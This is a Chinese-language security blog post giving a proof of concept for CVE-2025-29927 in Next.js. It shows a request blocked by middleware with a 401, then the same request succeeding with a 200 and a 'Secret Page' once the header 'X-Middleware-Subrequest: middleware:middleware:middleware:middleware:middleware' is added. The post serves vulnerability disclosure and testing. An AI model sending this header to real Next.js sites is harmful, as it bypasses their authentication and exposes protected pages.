Next.js 针对 CVE-2025-29927 的 PoC

admin 2025年3月25日19:17:14评论24 views字数 2964阅读9分52秒阅读模式
Next.js 针对 CVE-2025-29927 的 PoC
此漏洞允许绕过中间件逻辑。
src/middleware.ts:
// always block any requestexport functionmiddleware() {  return Response.json(    { successfalsemessage'authentication failed' },    { status401 }  )}

步骤

设置环境

npm ci npm exec next -- --version Next.js v15.2.2

运行服务器

npm run dev

测试中间件是否正常工作

curl -v http://localhost:3000/* Host localhost:3000 was resolved.* IPv6: ::1* IPv4: 127.0.0.1*   Trying [::1]:3000...* Connected to localhost (::1) port 3000> GET / HTTP/1.1> Host: localhost:3000> User-Agent: curl/8.7.1> Accept: */*>* Request completely sent off< HTTP/1.1 401 Unauthorized< content-type: application/json< Vary: Accept-Encoding< Date: Sun, 23 Mar 2025 08:24:13 GMT< Connection: keep-alive< Keep-Alive: timeout=5< Transfer-Encoding: chunked<* Connection #0 to host localhost left intact{"success":false,"message":"authentication failed"}%

使用 CVE-2025-29927 绕过中间件

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware向请求添加标头
curl -v http://localhost:3000/ -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'* Host localhost:3000 was resolved.* IPv6: ::1* IPv4: 127.0.0.1*   Trying [::1]:3000...* Connected to localhost (::1) port 3000> GET / HTTP/1.1> Host: localhost:3000> User-Agent: curl/8.7.1> Accept: */*> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware>* Request completely sent off< HTTP/1.1 200 OK< Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding< link: </_next/static/media/569ce4b8f30dc480-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1742718989736>; rel=preload; as="style"< Cache-Control: no-store, must-revalidate< X-Powered-By: Next.js< Content-Type: text/html; charset=utf-8< Date: Sun, 23 Mar 2025 08:36:29 GMT< Connection: keep-alive< Keep-Alive: timeout=5< Transfer-Encoding: chunked<<!DOCTYPE html><htmllang="en"><head><metacharSet="utf-8"/><metaname="viewport"content="width=device-width, initial-scale=1"/><linkrel="stylesheet"href="/_next/static/css/app/layout.css?v=1742718989736"data-precedence="next_static/css/app/layout.css"/><linkrel="preload"as="script"fetchPriority="low"href="/_next/static/chunks/webpack.js?v=1742718989736"/><scriptsrc="/_next/static/chunks/main-app.js?v=1742718989736"async=""></script><scriptsrc="/_next/static/chunks/app-pages-internals.js"async=""></script><metaname="next-size-adjust"content=""/><title>Create Next App</title><metaname="description"content="Generated by create next app"/><linkrel="icon"href="/favicon.ico"type="image/x-icon"sizes="16x16"/><scriptsrc="/_next/static/chunks/polyfills.js"noModule=""></script></head><bodyclass="__variable_4d318d __variable_ea5f4b antialiased"><h1>Secret Page</h1><!--$--><!--/$--><!--$--><!--/$--><scriptsrc="/_next/static/chunks/webpack.js?v=1742718989736"async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1 ....

原文始发于微信公众号(Khan安全团队):Next.js 针对 CVE-2025-29927 的 PoC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月25日19:17:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Next.js 针对 CVE-2025-29927 的 PoChttps://cn-sec.com/archives/3883512.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息